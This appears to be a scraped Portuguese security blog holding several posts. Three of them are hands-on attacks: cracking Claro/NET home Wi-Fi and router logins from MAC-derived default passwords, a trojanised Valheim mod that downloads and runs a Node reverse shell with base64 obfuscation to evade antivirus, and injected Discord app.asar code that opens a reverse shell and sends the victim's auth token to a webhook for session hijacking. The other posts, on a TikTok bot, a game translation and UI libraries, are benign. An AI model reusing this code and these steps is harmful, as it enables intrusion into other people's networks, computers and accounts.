
Já adianto que essa falha é conhecida tem pelo menos uns 7~8 anos de acordo com alguns repositórios que encontrei no Github. Minha ideia neste post é demonstrar como foi o meu processo de entendimento e exploração da falha.

---

Uns 2 anos atrás eu estava fazendo um teste com um adaptador wifi (Alfa AWUS036NH) e acabei encontrando um padrão entre o BSSID (Mac Address) de uma rede wifi, com o ESSID (Nome da rede wifi) e a senha da rede.

Analisando esta imagem que peguei da internet, tente dar uma olhada em todas as informações e veja se você consegue encontrar alguns padrões peculiares.

![alt](/claro/claro.webp)

Doidera, né!?

```text
Rede: CLARO_2G584D19
Senha: 67584D19

Usuário do Roteador: CLARO_584D19
Senha do Roteador: B4F267584D19
```

Se você tiver uma placa de rede ou adaptador de rede que suporta o modo de monitoramento, você consegue monitorar os pacotes que as redes wifi enviam e assim ter acesso aos seus respectivos BSSIDS e nome da Rede, basicamente com isso você consegue invadir a rede wifi e ainda por cima acessar o roteador.

Na imagem ele mostra o CM MAC e o EMTA MAC, em resumo o CM MAC é o mac address usado para conexão com a internet e o EMTA MAC é o mac address usado pra VOIP, isso se o roteador suportar essa funcionalidade.

---

Tendo essas informações em mãos, vamos a campo para validar a teoria. O adaptador de rede que eu uso é este aqui, e a posição ideal pra capturar mais redes da CLARO e NET foi pendurando ele na grade de proteção da janela kk

|                        |                        |
| :--------------------: | :--------------------: |
| ![](/claro/alfa1.jpeg) | ![](/claro/alfa2.jpeg) |

No meu caso, eu tentei utilizar o adaptador com várias distros do linux pelo WSL mas infelizmente não rolou. A única forma que consegui foi criando uma máquina virtual pelo VMWare, no caso escolhi o Kali por já vir com uma porrada de ferramentas.

Depois de instalar os drivers do adaptador e tudo estiver rodando. Ele aparecerá mais ou menos assim:

![](/claro/image.png)

Depois precisamos setar o adaptador para o modo de monitoramento, para isso vamos usar a ferramenta airmon:

![](/claro/wlan0mon.png)

Notem que agora o adaptador mudou para wlan0mon e o Mode mudou para Monitor.

O próximo passo é começar a listar as redes wifi próximas, onde vamos associar o BSSID (Mac Address) com o nome da rede. Para ficar mais fácil a listagem, vamos usar o airodump e utilizar um regex simples como filtro:

```bash
sudo airodump-ng wlan0mon --essid-regex (CLARO_|NET_)
```

![alt text](/claro/listbssids.png)

> Escondi o nome de algumas redes que possuem nomes de pessoas reais.

A rede que vou usar no teste é a CLARO_2G290F5C por conta da quantidade de Beacons que a rede está enviando. Entenda Beacon como pacotes que o access point fica enviando periodicamente (a cada 100ms) pelo ar, para que quando você abra seu celular e procure um wifi, essa rede apareça na tela de listagem de redes.

O próximo passo é tentar capturar o handshake ou PMKID, primeiro vou demonstrar utilizando o handshake e no final um exemplo com o PMKID.

---

De forma resumida, sempre que nos conectamos com uma rede wifi, rola um handshake de 4 vias.

1. O access point (rede wifi) envia para o client (dispositivo) um número aleatório chamado ANonce.
2. O client gera um número aleatório chamado SNonce e calcula o PTK (Pair Transient Key) usando o PMK (Pairwise Master Key) e os endereços MAC do client e do access point e depois envia o SNonce para o access point.

```bash
PMK = PBKDF2-HMAC-SHA1(senha_wifi + SSID, 4096 iterações) #lembrando que SSID é o nome da rede
PTK = PRF-512(PMK + ANonce + SNonce + MAC_AP + MAC_Client)
```

3. O access point, agora tem o SNonce, gera o PTK da mesma forma que o client gerou e envia uma mensagem criptografada para o client para confirmar.
4. O client confirma que recebeu a mensagem e a comunicação com a rede wifi é feita.

Continuando a utilizar os componentes do aircrack, com o airodump nós conseguimos "escutar" as conexões com esse access point e utilizando o aireplay, conseguimos forçar a desautenticação dos clients conectados nesse access point e assim forçar eles a logarem novamente na rede, nesse processo nós conseguimos capturar esse handshake de 4 vias.

E nesse handshake, nós capturamos o ANonce, SNonce e os MACs do client e access point. Dessa forma, conseguimos usar posteriormente uma outra ferramenta que fará a força bruta utilizando uma lista de senhas nessa formula que passei acima.

Então sempre que ele gerar um PTK, ele irá comparar com uma informação criptografada no arquivo do handshake chamada MIC, se essa hash bater com o MIC então a senha está correta. A pessoa que descobriu isso é gênio demais, agradeço por poder replicar de forma mínima o que ele/eles descobriu.

---

```bash
sudo airodump-ng -w capture -c 1 --bssid A0:FF:70:29:0F:60 wlan0mon
```

![alt text](/claro/handshake.png)
![alt text](/claro/deauth.png)

O handshake só irá aparecer quando algum client logar na rede, nesse print eu tive sorte de ter esquecido o comando de deauth rodando antes de começar a capturar os pacotes da rede. Assim quando eu comecei a ler os pacotes um usuário logou na rede pois tinha caído antes.

Agora que temos o handshake capturado (foi criado um arquivo chamado capture-01.cap), vamos gerar uma wordlist para trabalharmos. De acordo com a imagem que vimos lá no começo, a senha será os ultimos 8 caracteres do MAC Address do access point. Porém no caso desse modelo do roteador, notei que o nome da rede **CLARO_2G290F5C** possui os dois ultimos caracteres diferentes do MAC **A0:FF:70:29:0F:60**.

Eu presumo que talvez, para essa versão do roteador eles tentaram "resolver" essa questão do nome e senha padrão ter relação direta com o MAC. Porém se for isso, falharam. Basicamente aqui eu gerei a wordlist seguindo o padrão do nome da rede.

---

Para gerar a wordlist, eu sempre utilizo a ferramente chamada [Crunch](https://www.kali.org/tools/crunch/). O comando que utilizei foi:

![alt text](/claro/crunch.png)

![alt text](/claro/wordlist.png)

No comando, eu digo que quero gerar uma senha de tamanho mínimo e máximo de 8 caracteres, utilizando o alfabeto e números de 0 à 9 com o seguinte padrão: @@290F5C. Onde existe o @@ serão substituidos por números e letras aleatórios. Eu configurei dessa forma, pois após analisar algumas senhas padrão de roteadores da Claro, vi que são sempre 8 caracteres sendo que são os ultimos 6 do nome da rede e em alguns casos são os ultimos 8 caracteres do MAC Address.

Com a wordlist pronta, agora basta utilizarmos o aircrack para fazer todo aquele processo de geração da hash do PTK e fazer a comparação com o MIC do handshake.

![alt text](/claro/cracked.png)

E chegamos na senha da rede. E sim, boa parte dela está no próprio MAC Address do access point.

---

Agora um resuminho sobre a técnica do PMKID. O PMKID é um identificador que podemos capturar em um handshake e podemos usar para tentar fazer o cracking da senha da rede sem precisar do handshake de 4 vias.

Quando um dispositivo tenta se conectar a uma rede, o access point envia de forma criptografada para o client o PMKID que possui a seguinte função:

```bash
PMKID = HMAC-SHA1(PMK + "PMK Name" + MAC_AP + MAC_cliente)
```

Ou seja, de certa forma é uma técnica mais rápida e simples porém o tipo de ponto de acesso, configuração da rede, capacidade do roteador e até o ambiente de monitoramento podem influenciar se você vai conseguir capturar ou não. Abaixo vou apresentar um ambiente de sucesso que consegui.

![alt text](/claro/captured.png)

Diferente do caso do handshake, nós temos que converter o arquivo .cap para .pcap, para isso usamos o editcap.

![alt text](/claro/pcap.png)

A partir disso, usamos a ferramenta hcxpcapngtool para gerar um arquivo no formato hc22000. Esse formato é necessário pois ele é gerado de forma estruturada para o ataque de força bruta, o hcxpcapngtool já elimina informações desnecessárias do arquivo e estrutura os dados que serão usados no ataque de forma que otimiza os testes.

![alt text](/claro/hash.hc22000.png)

Após a geração do arquivo, utilizei o hashcat pra fazer o cracking

![alt text](/claro/cracked2.png)

Notem que a rede é diferente dos outros prints, por falha minha eu perdi a posição que o adaptador estava e eu perdi a conexão com a rede antiga, ai precisei procurar outras redes, testar todas elas para esse caso do PMKID. Mas em resumo os passos são os mesmos.

---

Voltando para a primeira rede que descobrimos a senha. Agora vamos testar se o login e senha do roteador também segue esse mesmo padrão.

![alt text](/claro/login.png)

Fiz o teste seguindo o padrão da imagem lá do começo:

- Login: CLARO\_(6 caracteres do MAC)
- Senha: MAC Address

```bash
 user: CLARO_290F60
 pass: A0FF70290F60
```

E não funcionou, porém eu só alterei os 2 ultimos caracteres seguindo o padrão do nome da rede e bum.

```bash
 user: CLARO_290F5C
 pass: A0FF70290F5C
```

![alt text](/claro/claro_que_entramos.png)

---

Fica a dica pra quem não trocou a senha padrão :)

Repositórios que encontrei falando sobre o mesmo assunto:

- [DPWO](https://github.com/caioluders/DPWO)
- [VulnDefaultPass_WiFi](https://github.com/matheuslaidler/VulnDefaultPass_WiFi)
- [WIHACK](https://github.com/GlitchYou/WIHACK)
- [claro-wifi-pass-solver](https://github.com/altmas5/claro-wifi-pass-solver)


CLARO_NzA3NzZF


O jogo que eu tenho mais horas na steam é Dota 2, tenho exatamente 6.074,8 horas e para quem não sabe, ele surgiu a partir de um mapa customizado do Warcraft 3. Vale ressaltar que o dev Eul, só teve essa ideia de criar o mapa no Warcraft depois de conhecer o mapa customizado Aeon of Strife do Starcraft. Depois de muito sucesso no começo dos anos 2000, alguns devs que cuidavam do projeto DotA sairam e criaram outros jogos no mesmo estilo (Moba), como League of Legends e Heroes of Newerth. Depois de um tempo a Valve contratou o dev que mantinha o Dota e assim surgiu o Dota 2.

Pra quem conhece esses jogos sabe o quão grande eles se tornaram, rendendo campeonatos que pagam mais de U$20mi ao time vencedor. Então, sabemos o potencial que modificações possuem tanto para desenvolver novos estilos de jogos como manter vivo um jogo além de sua história principal.

---

Em 2021 foi lançado o jogo Valheim, se trata de um RPG Survival Sandbox. O objetivo principal do jogo é você derrotar todos os Boss que existem num mundo gerado a partir de uma seed. Para quem não conhece, a seed é um conjunto de caracteres que são usados para fazer um cálculo na hora de gerar um mundo.

O jogo em si é perfeito pra quem gosta dos genero survival e RPG, porém sempre que joguei com alguns amigos nós comentavamos que faltavam algumas coisas. Como magias, melhorar a estabilidade da mira do arco e flecha e etc ...

Comecei a estudar sobre como criar modificações, cheguei a criar um mod que era um complemento de outro mod que adicionava magias. O mod que criei está no Github e ele adiciona as potions de Mana no jogo, criando um desafio a mais para não ficar spammando magias pra qualquer lado.

https://github.com/nulldreams/valheim-mana-potion

Na época eu cheguei a criar um mod de teste que forçava abrir a calculadora do Windows quando você apertava espaço para pular. Mas só funcionava com o Windows Defender desligado. Agora em 2023 resolvi voltar e continuar fazendo mais testes de segurança com os mods desse jogo.

---

Alguns jogos como Dota 2, Counter-Strike e Warcraft 3, possuem interfaces de modificações disponibilizadas pela empresa desenvolvedora. Qual o beneficio disso? Eles conseguem manter a comunidade de jogadores diversificada, pois nem todos jogam o jogo original, como no caso do Dota 2, a maior parte dos jogadores ativos, jogam os mapas customizados; E também criam uma barreira de segurança, afinal, não da pra confiar 100% que os mods serão apenas versões divertidas e seguras.

Já com o Valheim, foi a comunidade de desenvolvedores da Unity que criaram um meio de campo para criar os mods. Você pode encontrar uma explicação mais detalhada [neste link](https://valheim-modding.github.io/Jotunn/guides/overview.html).

Em resumo, eles fornecem um software e uma biblioteca. A biblioteca possui recursos para programarmos os mods que serão compilados em uma dll e depois através do software deles, serão injetados em tempo de execução no jogo. Pra quem conhece um pouco da engine [Unity](https://unity.com/pages/unity-pro-buy-now), lembra que existem algumas funções padrões da engine, como Awake, Start, etc ... Nos mods nós criamos as funções da mesmas forma.

---

### Organizando a prova de conceito

Sabendo que o fluxo de injeção de mods funciona de acordo com a imagem abaixo.

![](/mod/flow1.png)

Escrevi um mod que injeta na função _Awake_ do jogo, um código que faz o download do vírus que escrevi em Node e depois executa ele. Eu segui pelo caminho de baixar o virus, pois no C# EU acho mais dificil burlar as detecções dos anti-virus. Já no node eu consigo burlar facilmente, dessa forma o MOD serve como um cavalo de troia, como ele é um arquivo teoricamente seguro, o anti-virus não vai barrar ele de fazer o download de um arquivo. Já esse novo arquivo, ele sim é perigoso mas ele sabe andar por caminhos onde ele não é pego kk

![](/mod/hackerflow.png)

Código em C#

```csharp
using BepInEx;
using Jotunn.Entities;
using Jotunn.Managers;
using System.Diagnostics;
using System.Net;
using System;

namespace JotunnModStub
{
    [BepInPlugin(PluginGUID, PluginName, PluginVersion)]
    [BepInDependency(Jotunn.Main.ModGuid)]
    //[NetworkCompatibility(CompatibilityLevel.EveryoneMustHaveMod, VersionStrictness.Minor)]
    internal class JotunnModStub : BaseUnityPlugin
    {
        public const string PluginGUID = "com.jotunn.jotunnmodstub";
        public const string PluginName = "JotunnModStub";
        public const string PluginVersion = "0.0.1";

        // Use this class to add your own localization to the game
        // https://valheim-modding.github.io/Jotunn/tutorials/localization.html
        public static CustomLocalization Localization = LocalizationManager.Instance.GetLocalization();

        private void Awake()
        {
            // Jotunn comes with its own Logger class to provide a consistent Log style for all mods using it
            Jotunn.Logger.LogInfo("POC Valheim Backdoor Mod");

            string url = "https://attacker-machine/calc.exe";
            string destino = "calc.exe";

            using (WebClient client = new WebClient())
            {
                try
                {
                    client.DownloadFile(url, destino);
                    Jotunn.Logger.LogInfo("Download concluído!");

                    Process.Start(new ProcessStartInfo
                    {
                        FileName = destino,
                        UseShellExecute = true
                    });
                    // Executar o arquivo após o download
                    Jotunn.Logger.LogInfo(destino);
                }
                catch (Exception ex)
                {
                    Jotunn.Logger.LogInfo($"Ocorreu um erro durante o download: {ex.Message}");
                }
            }

            Jotunn.Logger.LogInfo("POC Valheim Backdoor Mod");
            // To learn more about Jotunn's features, go to
            // https://valheim-modding.github.io/Jotunn/tutorials/overview.html
        }
    }
}
```

O código do vírus é bem simples

```javascript
;(function () {
  var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("cmd", [])
  var client = new net.Socket()
  client.connect(port, host, function () {
    client.pipe(sh.stdin)
    sh.stdout.pipe(client)
    sh.stderr.pipe(client)
  })
  return /a/
})()
```

Pra deixar ele indetectavel, eu simplesmente encodei ele 2x com Base64 e depois fiz o decode para string e executei com a função _eval_ do javascript. Depois gerei um executável usando o [pkg](https://github.com/vercel/pkg). Seguindo exatamente o que fiz no post [drocsid](/posts/drocsid).

```javascript
eval(
  Buffer.from(
    Buffer.from(
      "T3lobWRXNWpkR2x2YmlBb0tTQjdDaUFnZG1GeUlHNWxkQ0E5SUhKbGNYVnBjbVVvSjI1bGRDY3BMQW9nSUNBZ1kzQWdQU0J5WlhGMWFYSmxLQ2RqYUdsc1pGOXdjbTlqWlhOekp5a3NDaUFnSUNCemFDQTlJR053TG5Od1lYZHVLQ2RqYldRbkxDQmJYU2tLSUNCMllYSWdZMnhwWlc1MElEMGdibVYzSUc1bGRDNVRiMk5yWlhRb0tRb2dJR05zYVdWdWRDNWpiMjV1WldOMEtDY3hNekl3TVNjc0lDY3lMblJqY0M1dVozSnZheTVwYnljc0lHWjFibU4wYVc5dUlDZ3BJSHNLSUNBZ0lHTnNhV1Z1ZEM1d2FYQmxLSE5vTG5OMFpHbHVLUW9nSUNBZ2MyZ3VjM1JrYjNWMExuQnBjR1VvWTJ4cFpXNTBLUW9nSUNBZ2MyZ3VjM1JrWlhKeUxuQnBjR1VvWTJ4cFpXNTBLUW9nSUgwcENpQWdjbVYwZFhKdUlDOWhMd3A5S1NncENnPT0=",
      "base64"
    ).toString("utf-8"),
    "base64"
  ).toString("utf-8")
)
```

Depois abro um terminal do windows, levando em consideração que tenho uma versão do Netcat instalada na máquina. E rodo o comando:

```bash
ncat -lnvp 3000
```

Dessa forma o terminal fica ouvindo uma conexão com a porta 3000 da minha máquina de ataque. Quando o jogo for executado na máquina do jogador, a conexão reversa será feita com esse terminal, dando acesso ao computador da vítima.

---

Computador executando o jogo com o MOD

![](/mod/game.jpg)

Computador de ataque recebendo a conexão reversa

![](/mod/ncat.jpg)

---

### Conclusões

Pode ser sim perigoso usar mods em jogos, mas tudo é uma questão de como você obtem essa modificação. Quando elas estão no Github, você pode ver o código ou você pode optar por baixar de lugares confiáveis como alguns sites que gerenciam esses downloads, eu sempre baixo da [Nexus Mods](https://www.nexusmods.com/) e nunca tive problemas.

Estou entrando em contato com os devs que criaram esse sistema de mods para o Valheim, para explicar esse vetor de ataque. Qualquer novidade vou postando como edições nesse mesmo post.

https://github.com/nulldreams/valheim-reverse-connection


“Fight, build, explore. It all ends in the grave.“

king_v1.dll


No começo desse ano, começaram a aparecer vídeos com o mesmo formato para mim, começou no youtube e depois se estendeu para o instagram. O formato era simples, um vídeo de gameplay (de qualquer jogo) enquanto rolava um audio de whatsapp engraçado ou algum robo lendo prints de posts. Fiquei curioso pra saber como eles eram feitos e se era possível automatizar esse processo. Neste post vou mostrar como é possível escrever um robo que seja capaz de:

- [Fazer scrap e prints do post e comentários do Reddit](/posts/eu-robo-reddit);
- [Gerar arquivos MP3 de leitura dos comentários de um post](/posts/eu-robo-mp3);
- [Produzir um vídeo](/posts/eu-robo-mp4);
- [Publicar automaticamente em uma conta do Tiktok](/posts/eu-robo-upload);

Fiz algumas pesquisas e acabei encontrando alguns repositórios no github que faziam o que eu queria fazer, em ambos os projetos tive que fazer algumas alterações no código deles para poder ver o fluxo funcionar. Depois disso resolvi criar um projeto novo usando a ideia dos dois e publicar aqui explicando os passos dessas automações.

- [tiktok-askreddit](https://github.com/edde746/tiktok-askreddit)
- [Tiktok-uploader](https://github.com/MiniGlome/Tiktok-uploader)

### Stack

Como sempre, utilizei NodeJS e Python. No node eu faço o scrap do Reddit e o upload para o Tiktok. Não fiz tudo no node pois achei muito trabalhoso criar vídeos nele, mesmo usando bibliotecas o resultado não ficava legal e também achei muito mais fácil gerar arquivos mp3 usando as vozes do Microsoft Edge.

---

A ideia do post não é ser original, é deixar claro que vídeos simples (ou não) podem ser automatizados e que talvez o canal daquele vídeo que você curtiu hoje seja gerenciado por um robô.

Obs: Alguns trechos de código optei por colocar pela metade por conta do tamanho, mas todos estão disponíveis no repositório do Github.

Obs 2: Como ficaram grandes as explicações, acabei dividindo por subpaginas, basta clicar nos itens no começo do post e você será redirecionado, depois é possível voltar o post principal no final da página.

---

- [Repositório no Github](https://github.com/nulldreams/tiktomatic)
- [Video Gerado e Postado no Tiktok](https://www.tiktok.com/@aireading/video/7242819346702142726)


“Ava - Isn't it strange, to create something that hates you?“

i, r0b0t


De vez em quando eu gosto de jogar alguns RPGs antigos estilo Fallout (1 e 2), essa semana encontrei um pessoal falando muito bem de um jogo chamado [Planescape](https://store.steampowered.com/app/466300/Planescape_Torment_Enhanced_Edition/). É um jogo lançado em 1999 baseado nos conceitos de D&D e todo voltado para a história, afinal, se trata de um RPG de mesa adaptado para computador. Como o jogo é antigo, na Steam não tem a opção de jogar em pt-BR, pois sendo bem sincero, não estava afim de ficar lendo e traduzindo as palavras que eu não entendo, queria jogar aproveitando a história, apenas.

Como toda pessoa que jogou muitos jogos no começo dos anos 2000, comecei a procurar a tradução pela internet e não encontrei em lugar algum. Encontrei alguns posts de 2005~2009 em forums sobre cRPGs dizendo que o jogo era muito grande e tomaria muito tempo para traduzir. Então eu desisti... e fui atrás de entender como funciona a tradução de jogos.

### TLK

Uma das empresas que desenvolveu Planescape é a Beamdog, se trata de uma empresa fundada pelo cofundador da Bioware. Essa informação é relevante pois os jogos da Bioware possuem arquivos com extensão _.tlk_. Nestes arquivos, são salvos os diálogos do jogo em diversas linguagens. Sabendo disso, comecei a pesquisar sobre como extrair estes textos dos arquivos. Em alguns forums bem antigos (2005), encontrei algumas ferramentas que começaram a me dar ideias de como eu iria traduzir o jogo. Uma delas se chama Inifinity Engine Talk Table Editor, através dela é possível carregar um arquivo _.tlk_, navegar entre os diálogos e substituir eles por outros.

![alt](/translate/table-editor.png)

Porém, o jogo possui mais de 100k de diálogos, com essa ferramente eu iria precisar traduzir os diálogos um a um, isso daria muito trabalho. Fazendo mais algumas pesquisas, encontrei uma ferramenta (da mesma empresa que desenvolveu o Table Editor), se chama [Weidu](https://weidu.org/WeiDU/Tutorial-ENG.txt), é um executável que consegue transformar um arquivo _.tlk_ em um arquivo da extensão _.tra_, essa extensão diferente da _.tlk_, pode ser lida como um arquivo texto comum.

### TRA

![alt](/translate/tra.png)

Cada _@_ representa um diálogo no jogo e o texto dos diálogos ficam entre TILS. Sabendo disso, usando NodeJS escrevi um código que faz um REGEX nesse arquivo e captura todos os textos que estão dentro dos TILS e salve em um json novo com a seguinte estrutura:

```json
{
  "index": 0,
  "original": "text"
  "translated": ""
}
```

Código:

```javascript
const fs = require("fs")

const REGEX = /(?<=~)(.*?)(?=~)/gs

const allFileContents = fs.readFileSync("dialog.tra", "utf-8")

const array = allFileContents.match(REGEX)

const isEven = (number) => number % 2 == 0

const newFile = []

array.map((text, index) => {
  if (!isEven(index)) return

  newFile.push({ index, original: text, translated: "" })
})

fs.writeFileSync("new-file.json", JSON.stringify(newFile), "utf-8")
```

### Tradução

Eu queria algo automático, não queria desprender algum tempo pra traduzir manualmente o jogo. Usando python eu escrevi um código que le esse json com os diálogos extraidos do jogo e traduz utilizando uma lib.

```python
import io
import json
from deep_translator import GoogleTranslator

f = open("new-file.json", "rb")

data = json.load(f)

array = []

def save_file(content):
    with io.open("output.txt",'w',encoding='utf8') as f:
        f.write(json.dumps(content))

for dialog in data['dialogs']:
    text = dialog['original']
    try:
        translated = GoogleTranslator(source='english', target='portuguese').translate(text)
        dict_dialogue = { "original": text, "translated": translated }
        array.append(dict_dialogue)
        save_file(array)
        print(f"finished dialogue")
    except Exception as e:
        print(f'ERRO={e} - DIALOGUE={text}')

print('finalizado')
```

Esse processo demorou cerca de 29hrs, eu não medi o tempo pelo código, mas levou cerca de 1 segundo por diálogo traduzido.

Depois de criar um json gigantesco com os diálogos originais e as traduções, escrevi um outro código em NodeJS para substituir no arquivo _.tra_ os diálogos de en-US para pt-BR.

```javascript
const fs = require("fs")
const dialogs = require("./output1.json")

let tra = fs.readFileSync("./dialog.tra", "utf-8")

const findInTraFile = (text) => tra.indexOf(`~${text}~`)
const replaceInTraFile = (originalText, translated) => tra.replace(`~${originalText}~`, `~${translated}~`)

console.time("translate")

for (let index = 0; index < dialogs.length; index++) {
  const dialog = dialogs[index]
  const text = dialog.original

  console.log(text)

  const exists = findInTraFile(text) > -1

  if (exists) {
    tra = replaceInTraFile(text, dialog.translated)
    fs.writeFileSync("dialog-new.tra", tra, "utf-8")
    console.log("ultimo trocado foi", index)
  } else {
    console.log("erro", index)
  }
}

console.timeEnd("translate")
```

Esse passo demorou cerca de 1hr. E para finalizar, utilzei a ferramenta [Weidu](https://weidu.org/WeiDU/Tutorial-ENG.txt) para transformar o arquivo _.tra_ em _.tlk_.

### Resultado

![alt](/translate/game.png)

Faltam só alguns ajustes, como voltar o nome original dos personagens do jogo, mas para fazer isso basta editar o arquivo _.tra_ e depois converter ele novamente.


Github: https://github.com/nulldreams/planescape

Tradução Planescape Torment - Enhanced Edition


Depois do meu ultimo post utilizando o Discord como engenharia social, decidi focar em tentar encontrar um vetor de ataque pelo discord. Os principais motivos foram:

- O Discord é utilizado por milhares de pessoas
- Após a instalação, o Discord por padrão é iniciado sempre que o Windows inicia.
- Ele é feito em Electron

O principal ponto aqui é o framework utilizado para a geração do software, o Electron. Quando você compila um software utilizando o Electron, é comum que você utilize uma lib chamada [asar](https://github.com/electron/asar) para compactar em um único arquivo as dependências do software (códigos javascript).

Partindo desse principio, comecei a vasculhar as pastas de instalação do Discord, procurando por arquivos com a extensão _.asar_. Encontrei 2 deles:

- app.asar
- core.asar

Esses arquivos não possuem todo o código fonte do Discord, pelo que entendi, eles são como um _Adapter_ para o ambiente que estão rodando. Ou seja, eles servem para se comunicar com o sistema operacional, todo o código principal do Discord, aparentemente é armazenado em outros arquivos (ou vem da nuvem?).

Para fazermos a "engenharia reversa" nos arquivos, bata ter a lib _asar_ instalada globalmente e depois utilizar o comando:

```bash
$ asar extract <asar-file-path.asar> <extracted-folder>
```

---

Após a leitura do código, levantei alguns arquivos interessantes e entendi mais ou menos o fluxo desses dois arquivos. Comecei a fazer alguns testes inserindo logs, gerando um novo arquivo _.asar_ e executando o Discord pelo CMD para ver os logs.

Código para gerar o _.asar_

```javascript
const asar = require("asar")

const main = async () => {
  await asar.createPackage("./app", "app.asar")
}

main()
```

![alt](/discord/console.png)
![alt](/discord/logs.png)

Depois de identificar que a injeção de código estava funcionando. Dividi em duas partes o ataque.

1. De alguma forma criar um backdoor na máquina da vítima, sempre que ela abrir o Discord
2. Capturar o token de autenticação da vítima, para executar um roubo de sessão.

---

### Malware

O malware que vou desenvolver, será feito em NodeJS ([pelas mesmas razões que utilizei no meu último post](/posts/cmV2ZXJzZSBzaGVsbA==)). O propósito dele é que quando for executado, ele faça a "engenharia reversa" nos arquivos, injete os códigos necessários, depois gere um novo arquivo _.asar_ e substitua os arquivos que o Discord utiliza.

![alt](/discord/discord-1.png)

### 1. De alguma forma criar um backdoor na máquina da vítima, sempre que ela abrir o Discord

Após extrair o arquivo _.asar_, criei um arquivo dentro da pasta _/app/common_ nesse arquivo tem um código que será executado toda vez que o Discord for aberto.

![alt](/discord/discord-2.png)
![alt](/discord/discord-3.png)

Tentei criar um script para abrir uma porta TCP na máquina da vítima e export ela na internet através de um tunnel. Porém, o Discord "crashava" toda vez que executava o código. Dessa forma, montei o fluxo abaixo para criar um tunnel HTTPS de uma API criada na máquina da vítima e através dessa API, forçar uma conexão reversa com a minha máquina de ataque.

O código injetado irá criar uma API na máquina da vítima expondo uma rota que receberá 2 parâmetros na url:

- host - IP ou hostname da máquina de ataque
- port - Porta utilizada para a conexão reversa

Após receber os parâmetros, eles são utilizados no script abaixo:

```javascript
app.get("/rev", (req, res) => {
  const { port, host } = req.query
  ;(function () {
    var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("cmd", [])
    var client = new net.Socket()
    client.connect(port, host, function () {
      client.pipe(sh.stdin)
      sh.stdout.pipe(client)
      sh.stderr.pipe(client)
    })
    return /a/
  })()
})
```

Para minha máquina de ataque saber qual a URL da API da vítima, o script envia um webhook para um servidor do Discord, com as seguintes informações:
![alt](/discord/discord-4.png)

Basta acessar pelo navegador a URL: https://tunnel/rev?host=<HOST>&port=<PORT>, passando nos parâmetros os valores referentes a máquina de ataque.
![alt](/discord/discord-5.png)

---

### 2. Capturar o token de autenticação da vítima, para executar um roubo de sessão.

A captura de sessão me lembra os tempos de Orkut, onde era possível enviar um scrap para uma pessoa e quando essa pessoa visualizava o recado, era executado um código javascript no navegador da vítima que capturava os cookies do Orkut e enviava para um servidor php. Quando inseriamos esses cookies no nosso navegador, tinhamos acesso total na conta do Orkut da vítima.

Essa mesma ideia será replicada aqui no Discord, a diferença é que o código malicioso estará injetado na aplicação.

![alt](/discord/discord-7.png)
![alt](/discord/discord-8.png)

Dentro da pasta _/app/discord_native/browser_, existe um arquivo chamado _safeStorage.js_, esse arquivo possui um evento que é chamado quando a aplicação acessa uma informação salva nesse "banco". Essa string possui um encode Base64, para vermos o valor real, basta fazer o decode:

```javascript
// core\app\discord_native\browser\safeStorage.js

electron.ipcMain.on(SAFE_STORAGE_DECRYPT_STRING, (event, encrypted) => {
  if (encrypted) {
    try {
      console.log("vai enviar o token")
      require("../../../common/test").sendToken(JSON.stringify(electron.safeStorage.decryptString(Buffer.from(encrypted, "base64"))))
      console.log("enviou o token")

      event.returnValue = electron.safeStorage.decryptString(Buffer.from(encrypted, "base64"))
    } catch {
      event.returnValue = null
    }
  } else {
    event.returnValue = null
  }
})
```

O token é enviado para o meu canal do Discord:
![alt](/discord/discord-6.png)

Depois basta abrir uma página anônima e executar os passos:

- Acessar a url https://discord.com/login
- ![alt](/discord/discord-9.png)
- Abrir o Devtools
- Ir para a página onde podemos visualizar o Local Storage e selecionar no Devtools, a opção "Device Toolbar"
- Criar um novo registro com o nome _token_ e o valor dele será o token capturado "_token_"
- ![alt](/discord/discord-10.png)
- Atualizar a página
- ![alt](/discord/discord-11.png)

---

Repositório: em breve


drocsid.asar


[GitHub](https://github.com/markmead/hyperui)
[Website](https://www.hyperui.dev/)

HyperUI is one of the most popular Tailwind CSS components libraries on GitHub
with around 2.8k stars as of writing this. It's free, is open-source and
features over 250 components across marketing, eCommerce and application UI.

It's built with Next JS, Typescript and Tailwind CSS with components being HTML.
I opted for Typescript as it's an extra layer to prevent mistakes, this is vital
with the project being open-source.

As for the decision to create components in HTML it just makes sense. Even if
you are using JSX, Blade, Liquid... It's all HTML.

As well as components, HyperUI features a blog post that talks about the
following:

- Tips and tricks for Tailwind CSS
- Project updates and announcements
- Related project announcements


HyperUI


[GitHub](https://github.com/markmead/hyperjs)
[Website](https://js.hyperui.dev/)

HyperJS is an open-source collection of Alpine JS components. I built this project based on the annoyance of having to write duplicate Alpine JS logic for different projects.

I've built examples with Tailwind CSS but have limited the UI so that they are presentable within the context of HyperJS, but are not full of Tailwind CSS bloat, this makes them easy to drop into any project.

I also use HyperJS as a platform to showcase off plugins that I and others have built for Alpine JS.

The website is built with Next JS and Tailwind CSS.


0x00dreams

Latest Posts

CLARO_NzA3NzZF

king_v1.dll

i, r0b0t

Tradução Planescape Torment - Enhanced Edition

drocsid.asar